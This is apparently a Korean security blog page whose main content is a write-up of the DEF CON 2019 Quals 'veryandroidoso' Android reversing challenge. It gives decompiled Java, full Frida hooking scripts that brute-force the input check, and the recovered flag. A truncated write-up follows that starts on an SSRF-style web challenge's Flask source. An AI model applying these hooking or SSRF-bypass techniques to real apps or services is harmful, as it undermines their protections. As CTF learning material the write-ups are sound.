최근에 버그헌팅에 빠져서 이것저것 재밌는 취약점들을 찾아보려고 하고있는데, 되게 재밌게 Exploit했던 RCE 하나가 크레딧됐다. 


나중에 키사에서 정한 기간 지나면 해당 공격 시나리오에 대해 포스팅 해봐야겠다.


작년에 처음 버그헌팅에 손댔다가 손절하고 최근에 다시 시작했는데, 예전엔 안보이던 취약점들이 조금씩 보이는걸 보니 조금씩이라도 실력이 늘고있는거 같아서 뿌듯하기도하고 내가 못보고 있는 취약점들이 엄청 많을걸 생각하니 또 더 열심히 공부해야겠다는 생각이 들었다.

 



'Bug Hunting' 카테고리의 다른 글

첫 포상금  (0) 2018.07.01
그누보드 SQL Injection  (2) 2018.03.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

apk까서 보면 입력 값을 받아서 parse 함수에 넣는다. 해당 함수는 플래그 형식인 OOO{} 사이에 16진수 형태의 문자들을 받아 총 9개의 10진수 배열로 반환해준다.
반환된 배열을 solve란 함수에 넣어준 뒤 해당 값이 참이면 문제를 풀 수 있다.


solve 함수를 보면 대충 아래와 같은 형태이다.


위와 같은 형태로 인풋으로 들어온 입력값 배열을 m0~m7의 함수를 통해 검증한다. 이 때 검증이 이루어지는 함수 구조를 보면 첫번째 인자는 인풋이고 두번째 인자와 같은 경우 scramble,getSecretNumber 함수의 반환 값이 들어간다. 위 코드 구조상 두번째 인자 값이 고정되어 있으면 간단히 브포를 통해 각 자리수를 구할 수 있는 상황이었다. 


public static int getSecretNumber(int i) {

        PackageInfo packageInfo;

        CertificateFactory instance;

        X509Certificate x509Certificate;

        try {

            packageInfo = cc.getPackageManager().getPackageInfo(cc.getPackageName(), 64);

        } catch (NameNotFoundException e) {

            e.printStackTrace();

            packageInfo = null;

        }

        InputStream byteArrayInputStream = new ByteArrayInputStream(packageInfo.signatures[0].toByteArray());

        try {

            instance = CertificateFactory.getInstance("X509");

        } catch (CertificateException e2) {

            e2.printStackTrace();

            instance = null;

        }

        try {

            x509Certificate = (X509Certificate) instance.generateCertificate(byteArrayInputStream);

        } catch (CertificateException e22) {

            e22.printStackTrace();

            x509Certificate = null;

        }

        try {

            MessageDigest instance2 = MessageDigest.getInstance("SHA256");

            int[] iArr = new int[256];

            for (int i2 = 0; i2 < 8; i2++) {

                byte[] encoded = x509Certificate.getEncoded();

                encoded[i2] = (byte) 33;

                encoded = instance2.digest(encoded);

                for (int i3 = 0; i3 < encoded.length; i3++) {

                    byte b = encoded[i3];

                    if (b < (byte) 0) {

                        b += 256;

                    }

                    if (b == (byte) 0) {

                        b = (byte) 1;

                    }

                    iArr[(i2 * 32) + i3] = b;

                }

            }

            return iArr[i];

        } catch (int i4) {

            i4.printStackTrace();

            i4 = 2 / 0;

            return 0;

        } catch (int i42) {

            i42.printStackTrace();

            i42 = 2 / 0;

            return 0;

        }

    }

    public static int scramble(int i) {

        int sleep = ((int) sleep(500)) - 499;

        return ((i + ((int) Math.round(Math.sqrt((double) ((sleep * 4) * sleep)) / ((double) sleep)))) + 321) % 256;

    }

scramble,getSecretNumber 함수는 위와 같은 코드였는데 뭔가 딱봤을때는 랜덤한 값이 나올것같았는게 프리다로 반복문 돌려서 찍어보니까 인풋이 같으면 동일한 리턴이 나왔다.첨엔 m0~m7 함수를 아이다에서 확인한 담에 파이썬코드로 변환해서 브포돌리거나 역연산짜거나 할려다 그냥 프리다로 후킹해서 브포돌리면 편할것 같아서 프리다를 사용했다.

exploit.py



import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var m_table = []

        m_table[0] = [100,190,88,240,97,216,47,243,39,18,173,144,157,114,116,250,152,150,196,175,28,179,23,213,73,66,20,228,67,200,156,7,221,210,50,233,110,32,71,194,117,220,43,113,148,247,217,185,41,177,239,12,232,101,82,178,128,191,42,172,136,81,115,251,69,89,139,48,129,63,154,125,242,95,132,143,102,29,199,10,146,79,225,149,236,245,56,105,27,235,162,201,193,208,104,96,209,155,34,68,202,169,49,13,134,45,226,255,14,52,33,62,44,186,6,121,21,244,131,64,111,123,248,124,36,9,58,112,222,130,254,120,75,224,76,145,80,231,198,219,182,24,126,40,246,192,78,166,140,158,223,57,207,90,161,54,38,252,72,203,70,85,171,107,98,4,51,188,238,15,147,237,65,214,99,183,22,5,92,141,184,30,108,60,135,118,127,205,133,159,19,197,74,17,59,138,195,119,8,25,206,55,106,91,160,122,218,37,181,211,212,234,241,46,77,170,11,109,16,249,168,230,215,174,204,164,2,253,94,31,189,35,153,180,103,142,1,137,187,84,165,26,87,93,83,86,0,151,3,167,53,176,227,163,229,61]

        m_table[1] = [29,131,174,82,200,183,179,143,182,216,9,79,44,203,167,6,135,62,4,58,242,84,72,175,171,126,140,188,18,250,114,205,137,142,16,163,159,24,105,154,186,209,169,116,138,206,57,219,132,234,129,127,247,28,49,178,5,37,93,148,25,238,118,50,166,102,146,231,81,86,201,33,197,181,155,133,85,224,176,208,170,99,40,38,204,194,74,222,144,145,212,161,141,7,123,92,26,185,101,119,223,164,31,172,249,43,88,8,19,61,241,76,157,47,111,130,60,120,252,90,117,207,192,189,158,23,253,199,80,106,41,160,221,233,71,0,36,32,230,246,52,248,147,150,95,87,104,34,232,229,202,63,66,39,168,108,139,22,244,75,190,98,124,237,77,193,149,11,100,240,227,42,121,162,55,215,165,48,67,211,35,56,70,54,78,14,45,187,89,184,213,255,27,96,1,69,122,125,110,217,228,91,156,113,243,65,196,64,3,128,109,12,153,173,53,94,68,97,152,151,2,73,107,236,17,46,112,177,10,103,225,254,136,245,13,218,115,239,195,214,180,134,83,30,59,20,51,235,191,226,15,21,251,210,198,220]

        m_table[2] = [255,30,98,78,198,151,15,171,92,236,93,136,206,220,56,156,54,50,82,112,123,14,77,12,184,214,208,145,66,40,52,224,213,134,227,250,22,114,79,143,10,55,174,28,85,221,154,248,84,175,168,144,11,32,64,207,147,58,176,111,108,142,216,187,110,195,5,219,72,235,49,120,232,46,155,23,27,185,233,57,170,18,71,203,88,196,140,223,109,131,103,26,251,48,180,83,106,115,130,16,133,44,164,241,182,70,204,9,218,107,179,188,6,160,190,13,209,230,119,197,226,124,121,240,80,163,97,38,149,94,202,243,193,238,167,138,148,17,3,51,127,210,62,205,239,126,169,63,95,228,199,186,81,53,152,67,125,0,153,99,150,25,217,229,102,69,246,90,117,244,60,178,73,234,2,181,75,20,24,21,8,35,141,165,201,237,96,211,129,159,19,189,135,158,33,104,91,116,177,47,247,137,122,173,59,113,29,245,242,128,39,86,192,252,37,61,89,200,157,68,225,139,1,254,36,146,162,42,45,166,172,65,231,31,105,222,43,212,118,34,215,74,87,253,194,249,100,41,76,101,4,191,132,183,7,161]

        m_table[3] = [1,223,134,163,178,59,65,116,117,17,224,122,99,85,52,63,206,131,204,32,40,177,132,133,92,101,97,230,106,144,30,73,0,153,192,107,44,123,86,233,62,164,118,80,71,179,197,184,29,108,4,58,244,235,8,209,41,28,150,199,14,94,45,203,159,51,212,222,183,157,95,66,142,34,185,61,74,26,161,39,55,248,16,180,191,247,25,129,91,54,181,88,207,193,5,216,231,121,211,174,167,255,227,176,82,137,12,38,198,109,152,250,126,169,187,33,253,87,173,221,46,182,24,84,228,239,75,19,72,112,208,251,220,254,90,218,2,64,246,50,114,156,168,160,148,68,242,130,113,171,139,76,23,49,138,6,225,241,11,213,48,196,110,146,119,202,69,237,22,93,175,154,102,120,21,57,140,9,141,162,190,60,53,205,136,158,105,145,166,115,249,77,252,70,78,226,217,37,111,127,27,243,195,128,186,83,229,96,89,81,189,219,210,15,194,147,10,245,165,98,155,240,43,214,188,232,236,201,42,125,143,100,215,103,67,36,3,47,13,124,172,20,238,7,234,135,18,151,79,149,31,56,200,104,170,35]

        m_table[4] = [144,158,58,155,10,130,143,78,170,39,110,250,246,7,214,235,25,202,157,89,237,131,52,233,161,245,181,184,116,26,254,159,244,101,186,248,72,70,142,205,168,134,173,3,54,222,51,104,123,34,206,2,188,73,95,11,20,38,69,113,179,183,192,30,99,215,129,6,24,133,198,98,49,92,66,106,154,118,164,145,177,121,190,84,59,172,149,75,23,151,207,19,8,15,247,37,167,255,102,226,135,100,18,176,171,4,105,111,251,9,219,88,93,213,169,16,229,57,61,35,65,238,141,216,199,182,22,230,200,42,76,225,74,166,147,242,50,103,68,193,67,28,243,162,194,45,43,17,124,31,55,21,47,197,126,122,196,136,204,79,132,32,91,140,234,236,195,125,12,109,185,0,64,137,53,241,178,138,127,112,160,71,87,48,56,120,240,175,40,150,114,119,221,146,201,228,224,44,152,227,86,156,212,62,80,96,208,63,253,108,203,165,115,128,90,210,153,1,85,41,83,13,148,232,27,97,60,107,189,218,187,211,191,163,139,239,77,209,29,223,94,117,82,81,14,217,5,33,174,180,252,231,220,36,46,249]

        m_table[6] = [6,112,67,152,88,74,161,124,42,100,247,70,226,19,215,61,141,186,190,129,24,255,173,131,23,180,25,27,33,84,237,245,30,45,8,122,126,133,234,114,185,89,97,203,125,10,90,213,71,99,172,196,224,208,251,206,209,142,91,239,174,176,94,0,4,75,167,222,205,146,156,108,240,199,76,238,18,51,63,228,113,16,158,182,183,69,110,9,65,120,249,204,81,233,34,62,220,216,166,162,57,13,78,192,159,7,191,171,17,188,211,218,168,246,135,128,56,225,140,232,231,107,14,11,58,153,136,201,60,36,132,243,111,73,163,144,164,39,236,137,77,160,47,241,87,66,200,223,170,250,37,103,92,157,96,105,217,28,139,53,93,82,179,130,195,35,2,26,59,229,101,116,147,109,40,44,214,184,235,80,154,79,21,43,119,207,193,104,102,244,22,85,68,106,202,151,254,41,145,15,98,219,49,117,143,5,48,72,86,20,198,12,253,248,1,118,242,177,29,175,148,227,121,115,50,134,123,3,83,38,194,54,230,127,210,64,189,165,149,181,252,212,32,95,187,155,150,55,178,46,221,169,31,52,138,197]

        m_table[7] = [208,168,97,242,78,60,100,128,232,152,127,115,253,36,174,209,181,159,88,165,19,212,211,111,26,12,229,43,8,136,199,240,135,178,44,48,82,125,254,195,173,207,121,233,68,84,52,215,137,158,154,69,186,133,51,180,80,126,144,226,40,2,66,38,244,171,67,118,57,247,112,18,138,231,202,73,201,179,85,119,116,141,90,161,238,162,204,224,81,103,214,203,198,184,92,147,105,221,11,134,70,95,27,166,24,71,185,46,172,237,39,123,76,91,228,108,74,206,87,197,50,35,15,25,7,164,219,130,54,188,213,120,61,250,189,217,241,230,55,246,192,96,94,89,218,245,176,98,75,102,194,47,101,58,132,182,234,190,223,45,150,107,86,64,20,49,23,210,251,21,59,72,104,53,155,113,106,131,6,14,3,255,17,225,143,28,167,93,196,16,129,65,200,41,29,235,149,30,169,79,33,32,5,160,110,175,1,140,109,170,183,42,99,63,157,117,151,56,124,236,177,216,156,227,4,248,37,0,9,220,31,243,148,77,114,145,10,13,139,249,252,22,122,193,34,83,222,191,62,239,205,187,163,146,142,153]

        m_table[8] = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

   

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        function getScrambleNumber()

        {

            var scramble_param = 13;

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var resultArray = [];

            for (var i=0; i<9; i++){

                if (i==5){

                    resultArray[i]=0;

                    continue;

                }

                if (i==8){

                    scramble_param += 190;

                }

                scramble_param = SolverClass.scramble(scramble_param);

                resultArray[i]=scramble_param;

            }

            return resultArray;

        }


        function bruteFlag(){

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var correctNumberArray = [172,6,146,97,130,65,236,142,103]

            var xorArray = [255,255,251,247,202,65,255,255,255]

            for (var i=0; i<correctNumberArray.length; i++){

                var result = "";

                for (var j=0; j<256; j++){

                    if (i==5){

                        if ((j&xorArray[i]) == correctNumberArray[i]){

                            result += j + ","

                        }

                    }

                    else {

                        if ((SolverClass["m"+i](j,SolverClass.getSecretNumber(ScrambleNumberArray[i]))&xorArray[i]) == correctNumberArray[i]){

                            result += m_table[i].indexOf(j) + ","

                        }

                    }

                }

                console.log("Find " + i + "th String = " + result);

            }

        }


        var ScrambleNumberArray = getScrambleNumber();

        bruteFlag();


});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()


코드를 돌려보면 1~8까지 인풋에 대해서는 만족하는 값이 아래와 같은 형태로 쭉 나왔는데 이상하게 마지막 9번째 값이 계속 안나왔다.


Find 0th String = 250

Find 1th String = 180

Find 2th String = 254,52

Find 3th String = 22,176

Find 4th String = 221,244,147,102,238,63,247,49,145,254,72,136,118,203,120,74

Find 5th String = 65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223,225,227,229,231,233,235,237,239,241,243,245,247,249,251,253,255

Find 6th String = 68

Find 7th String = 190

뭔가 이상해서 코드를 좀 자세히 보니 아래와 같이 마지막 인풋을 검증하기 전에 1~8번째 값을 가지고 m9함수를 호출하는걸 볼 수 있었다.

해당 함수와 같은 경우 아이다에서 분석해보려고 보니 디버깅 없이 정적분석으로는 분석이 잘안되서 그냥 위에서 구한 1~8 값에 대한 모든 케이스를 가지고 m9 함수 호출 후 마지막 9번째 input을 검증하는 형태의 브포 코드를 짰다.

첨엔 1~8 값에 대한 경우의수 4096*255 = 1044480 , 총 1044480번의 후킹을 해야해서 이게 값이 뽑힐까 했는데 막상 돌려보니 후킹속도가 엄청 빨라서 금방 뽑혔다.

최종적으로 사용한 익스코드는 아래와 같다.

getInputCase.py


import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var m_table = []

        m_table[0] = [100,190,88,240,97,216,47,243,39,18,173,144,157,114,116,250,152,150,196,175,28,179,23,213,73,66,20,228,67,200,156,7,221,210,50,233,110,32,71,194,117,220,43,113,148,247,217,185,41,177,239,12,232,101,82,178,128,191,42,172,136,81,115,251,69,89,139,48,129,63,154,125,242,95,132,143,102,29,199,10,146,79,225,149,236,245,56,105,27,235,162,201,193,208,104,96,209,155,34,68,202,169,49,13,134,45,226,255,14,52,33,62,44,186,6,121,21,244,131,64,111,123,248,124,36,9,58,112,222,130,254,120,75,224,76,145,80,231,198,219,182,24,126,40,246,192,78,166,140,158,223,57,207,90,161,54,38,252,72,203,70,85,171,107,98,4,51,188,238,15,147,237,65,214,99,183,22,5,92,141,184,30,108,60,135,118,127,205,133,159,19,197,74,17,59,138,195,119,8,25,206,55,106,91,160,122,218,37,181,211,212,234,241,46,77,170,11,109,16,249,168,230,215,174,204,164,2,253,94,31,189,35,153,180,103,142,1,137,187,84,165,26,87,93,83,86,0,151,3,167,53,176,227,163,229,61]

        m_table[1] = [29,131,174,82,200,183,179,143,182,216,9,79,44,203,167,6,135,62,4,58,242,84,72,175,171,126,140,188,18,250,114,205,137,142,16,163,159,24,105,154,186,209,169,116,138,206,57,219,132,234,129,127,247,28,49,178,5,37,93,148,25,238,118,50,166,102,146,231,81,86,201,33,197,181,155,133,85,224,176,208,170,99,40,38,204,194,74,222,144,145,212,161,141,7,123,92,26,185,101,119,223,164,31,172,249,43,88,8,19,61,241,76,157,47,111,130,60,120,252,90,117,207,192,189,158,23,253,199,80,106,41,160,221,233,71,0,36,32,230,246,52,248,147,150,95,87,104,34,232,229,202,63,66,39,168,108,139,22,244,75,190,98,124,237,77,193,149,11,100,240,227,42,121,162,55,215,165,48,67,211,35,56,70,54,78,14,45,187,89,184,213,255,27,96,1,69,122,125,110,217,228,91,156,113,243,65,196,64,3,128,109,12,153,173,53,94,68,97,152,151,2,73,107,236,17,46,112,177,10,103,225,254,136,245,13,218,115,239,195,214,180,134,83,30,59,20,51,235,191,226,15,21,251,210,198,220]

        m_table[2] = [255,30,98,78,198,151,15,171,92,236,93,136,206,220,56,156,54,50,82,112,123,14,77,12,184,214,208,145,66,40,52,224,213,134,227,250,22,114,79,143,10,55,174,28,85,221,154,248,84,175,168,144,11,32,64,207,147,58,176,111,108,142,216,187,110,195,5,219,72,235,49,120,232,46,155,23,27,185,233,57,170,18,71,203,88,196,140,223,109,131,103,26,251,48,180,83,106,115,130,16,133,44,164,241,182,70,204,9,218,107,179,188,6,160,190,13,209,230,119,197,226,124,121,240,80,163,97,38,149,94,202,243,193,238,167,138,148,17,3,51,127,210,62,205,239,126,169,63,95,228,199,186,81,53,152,67,125,0,153,99,150,25,217,229,102,69,246,90,117,244,60,178,73,234,2,181,75,20,24,21,8,35,141,165,201,237,96,211,129,159,19,189,135,158,33,104,91,116,177,47,247,137,122,173,59,113,29,245,242,128,39,86,192,252,37,61,89,200,157,68,225,139,1,254,36,146,162,42,45,166,172,65,231,31,105,222,43,212,118,34,215,74,87,253,194,249,100,41,76,101,4,191,132,183,7,161]

        m_table[3] = [1,223,134,163,178,59,65,116,117,17,224,122,99,85,52,63,206,131,204,32,40,177,132,133,92,101,97,230,106,144,30,73,0,153,192,107,44,123,86,233,62,164,118,80,71,179,197,184,29,108,4,58,244,235,8,209,41,28,150,199,14,94,45,203,159,51,212,222,183,157,95,66,142,34,185,61,74,26,161,39,55,248,16,180,191,247,25,129,91,54,181,88,207,193,5,216,231,121,211,174,167,255,227,176,82,137,12,38,198,109,152,250,126,169,187,33,253,87,173,221,46,182,24,84,228,239,75,19,72,112,208,251,220,254,90,218,2,64,246,50,114,156,168,160,148,68,242,130,113,171,139,76,23,49,138,6,225,241,11,213,48,196,110,146,119,202,69,237,22,93,175,154,102,120,21,57,140,9,141,162,190,60,53,205,136,158,105,145,166,115,249,77,252,70,78,226,217,37,111,127,27,243,195,128,186,83,229,96,89,81,189,219,210,15,194,147,10,245,165,98,155,240,43,214,188,232,236,201,42,125,143,100,215,103,67,36,3,47,13,124,172,20,238,7,234,135,18,151,79,149,31,56,200,104,170,35]

        m_table[4] = [144,158,58,155,10,130,143,78,170,39,110,250,246,7,214,235,25,202,157,89,237,131,52,233,161,245,181,184,116,26,254,159,244,101,186,248,72,70,142,205,168,134,173,3,54,222,51,104,123,34,206,2,188,73,95,11,20,38,69,113,179,183,192,30,99,215,129,6,24,133,198,98,49,92,66,106,154,118,164,145,177,121,190,84,59,172,149,75,23,151,207,19,8,15,247,37,167,255,102,226,135,100,18,176,171,4,105,111,251,9,219,88,93,213,169,16,229,57,61,35,65,238,141,216,199,182,22,230,200,42,76,225,74,166,147,242,50,103,68,193,67,28,243,162,194,45,43,17,124,31,55,21,47,197,126,122,196,136,204,79,132,32,91,140,234,236,195,125,12,109,185,0,64,137,53,241,178,138,127,112,160,71,87,48,56,120,240,175,40,150,114,119,221,146,201,228,224,44,152,227,86,156,212,62,80,96,208,63,253,108,203,165,115,128,90,210,153,1,85,41,83,13,148,232,27,97,60,107,189,218,187,211,191,163,139,239,77,209,29,223,94,117,82,81,14,217,5,33,174,180,252,231,220,36,46,249]

        m_table[6] = [6,112,67,152,88,74,161,124,42,100,247,70,226,19,215,61,141,186,190,129,24,255,173,131,23,180,25,27,33,84,237,245,30,45,8,122,126,133,234,114,185,89,97,203,125,10,90,213,71,99,172,196,224,208,251,206,209,142,91,239,174,176,94,0,4,75,167,222,205,146,156,108,240,199,76,238,18,51,63,228,113,16,158,182,183,69,110,9,65,120,249,204,81,233,34,62,220,216,166,162,57,13,78,192,159,7,191,171,17,188,211,218,168,246,135,128,56,225,140,232,231,107,14,11,58,153,136,201,60,36,132,243,111,73,163,144,164,39,236,137,77,160,47,241,87,66,200,223,170,250,37,103,92,157,96,105,217,28,139,53,93,82,179,130,195,35,2,26,59,229,101,116,147,109,40,44,214,184,235,80,154,79,21,43,119,207,193,104,102,244,22,85,68,106,202,151,254,41,145,15,98,219,49,117,143,5,48,72,86,20,198,12,253,248,1,118,242,177,29,175,148,227,121,115,50,134,123,3,83,38,194,54,230,127,210,64,189,165,149,181,252,212,32,95,187,155,150,55,178,46,221,169,31,52,138,197]

        m_table[7] = [208,168,97,242,78,60,100,128,232,152,127,115,253,36,174,209,181,159,88,165,19,212,211,111,26,12,229,43,8,136,199,240,135,178,44,48,82,125,254,195,173,207,121,233,68,84,52,215,137,158,154,69,186,133,51,180,80,126,144,226,40,2,66,38,244,171,67,118,57,247,112,18,138,231,202,73,201,179,85,119,116,141,90,161,238,162,204,224,81,103,214,203,198,184,92,147,105,221,11,134,70,95,27,166,24,71,185,46,172,237,39,123,76,91,228,108,74,206,87,197,50,35,15,25,7,164,219,130,54,188,213,120,61,250,189,217,241,230,55,246,192,96,94,89,218,245,176,98,75,102,194,47,101,58,132,182,234,190,223,45,150,107,86,64,20,49,23,210,251,21,59,72,104,53,155,113,106,131,6,14,3,255,17,225,143,28,167,93,196,16,129,65,200,41,29,235,149,30,169,79,33,32,5,160,110,175,1,140,109,170,183,42,99,63,157,117,151,56,124,236,177,216,156,227,4,248,37,0,9,220,31,243,148,77,114,145,10,13,139,249,252,22,122,193,34,83,222,191,62,239,205,187,163,146,142,153]

        m_table[8] = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

   

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        function getScrambleNumber()

        {

            var scramble_param = 13;

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var resultArray = [];

            for (var i=0; i<9; i++){

                if (i==5){

                    resultArray[i]=0;

                    continue;

                }

                if (i==8){

                    scramble_param += 190;

                }

                scramble_param = SolverClass.scramble(scramble_param);

                resultArray[i]=scramble_param;

            }

            return resultArray;

        }


        function bruteFlag(){

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var correctNumberArray = [172,6,146,97,130,65,236,142,103]

            var xorArray = [255,255,251,247,202,65,255,255,255]

            for (var i=0; i<correctNumberArray.length; i++){

                var result = "";

                for (var j=0; j<256; j++){

                    if (i==5){

                        if ((j&xorArray[i]) == correctNumberArray[i]){

                            result += j + ","

                        }

                    }

                    else {

                        if ((SolverClass["m"+i](j,SolverClass.getSecretNumber(ScrambleNumberArray[i]))&xorArray[i]) == correctNumberArray[i]){

                            result += m_table[i].indexOf(j) + ","

                        }

                    }

                }

                console.log("Find " + i + "th String = " + result);

            }

        }


        var ScrambleNumberArray = getScrambleNumber();

        bruteFlag();


});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()

 

findFlag.py


import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var lastNumberList = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        var dic1 = [52, 254]

        var dic2 = [22, 176]

        var dic3 = [221, 244, 147, 102, 238, 63, 247, 49, 145, 254, 72, 136, 118, 203, 120, 74]

        var dic4 = [65, 67, 69, 71, 73, 75, 77, 79, 81, 83, 85, 87, 89, 91, 93, 95, 97, 99, 101, 103, 105, 107, 109, 111, 113, 115, 117, 119, 121, 123, 125, 127, 193, 195, 197, 199, 201, 203, 205, 207, 209, 211, 213, 215, 217, 219, 221, 223, 225, 227, 229, 231, 233, 235, 237, 239, 241, 243, 245, 247, 249, 251, 253, 255]

        for(var i=0; i<dic1.length; i++){

            for(var j=0; i<dic2.length; j++){

                for(var k=0; i<dic3.length; k++){

                    for(var p=0; p<dic4.length; p++){

                        var result = [250,180,dic1[i],dic2[j],dic3[k],dic4[p],68,190,0]

                        SolverClass.m9((((((result[0] + result[1]) + result[2]) + result[3]) + result[4]) + result[5]) + (result[6] * result[7]))

                        for (var n=0; n<256; n++){

                            if ((SolverClass.m8(n,23)&255) == 103){

                                result[8] = lastNumberList.indexOf(n);

                                if (((((((((SolverClass.getSecretNumber(result[0])) * (SolverClass.getSecretNumber(result[1]))) * (SolverClass.getSecretNumber(result[2]))) * (SolverClass.getSecretNumber(result[3]))) * (SolverClass.getSecretNumber(result[4]))) * (SolverClass.getSecretNumber(result[5]))) * (SolverClass.getSecretNumber(result[6]))) + (result[7]) + (SolverClass.getSecretNumber(result[8]))) % 144 == 37){

                                    var findFlag = "";

                                    for (var a=0; a<result.length; a++){

                                        findFlag += result[a].toString(16);

                                    }


                                    console.log("Find Flag = OOO{" + findFlag + "}");

                                }

                            }

                        }

                    }

                }

            }

        }



});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()

 

Find Flag = OOO{fab43416484944beba}













'CTF > Writeup' 카테고리의 다른 글

2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
ISITDTU CTF 2019 Web Write up  (0) 2019.07.01
Google CTF 2019 Quals bnv  (0) 2019.06.24
Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Canhack.me Redirect2

2019. 7. 2. 15:22

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Canhack.me Redirect

2019. 7. 1. 23:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

해당 대회는 참여를 못해서 대회 끝나고 웹 문제가 열려있길래 풀어봤다.


Rosé Garden


문제에 들어가보면 아래와 같이 SSRF로 보이는 기능하나가 보인다. 근데 이 기능만 가지고 뭐 터트려보려고 하면 아무것도 안된다. 여기서 좀 헤매다 robots.txt 보니까 소스가 있길래 다운받아보니 아래와 같았다.


app.py


#!/usr/bin/env python

from flask import Flask, render_template, request, send_from_directory, abort

from concurrent.futures import ThreadPoolExecutor

from urllib.parse import urlparse

from socket import inet_aton


import requests

import asyncio


app = Flask(__name__)

app.jinja_env.lstrip_blocks = True

app.jinja_env.trim_blocks = True


async def check_func(hostname, port):

    try:

        if len(hostname.split('.')) != 4: 0/0


        if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


        if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


        if not port: port = 80

        

        result = []

        with ThreadPoolExecutor(max_workers=3) as executor:

            loop = asyncio.get_event_loop()

            tasks = [

                loop.run_in_executor(

                    executor,

                    lambda u: requests.get(u, allow_redirects=False, timeout=2),

                    url

                ) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333']

            ]

            for res in await asyncio.gather(*tasks):

                result.append(res.text)

    except:

        return False


    return result[1] if result[0] == result[1] else False


@app.route('/<path:path>')

def send_static(path):

    return send_from_directory('static', path)


@app.route('/')

def index():

    return render_template('index.html')


@app.route('/request', methods=['GET', 'POST'])

def request_page():

    if 'url' in request.form and request.form['url']:

        url = request.form['url']

        if url[:7] != 'http://':

